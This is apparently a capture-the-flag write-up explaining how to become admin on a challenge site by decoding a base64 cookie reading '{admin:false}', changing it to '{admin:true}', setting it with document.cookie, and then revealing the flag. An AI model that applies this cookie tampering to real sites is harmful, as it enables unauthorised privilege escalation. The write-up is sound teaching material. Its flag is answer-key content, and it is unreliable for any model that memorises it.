First, we examine the site's cookies by typing document.cookie into the developer console.

One of the cookies is named "coookie" and contains the data
e2FkbWluOmZhbHNlfQ%3D%3D

%3D is the percent encoding for an equals sign, so our data must be
e2FkbWluOmZhbHNlfQ==

Which can be decoded to
>>> import base64
>>> base64.b64decode('e2FkbWluOmZhbHNlfQ==')
>>> {admin:false}
using python.

To trick the website into thinking we are an admin, we change the cookie to the base64 encoded string "{admin:true}"
>>> base64.b64encode(b'{admin:true}')
>>> e2FkbWluOnRydWV9

In the developer console, we edit the cookie by typing
document.cookie="coookie=e2FkbWluOnRydWV9"

We refresh the page and see our flag
ABCTF{don't_trust_th3_coooki3}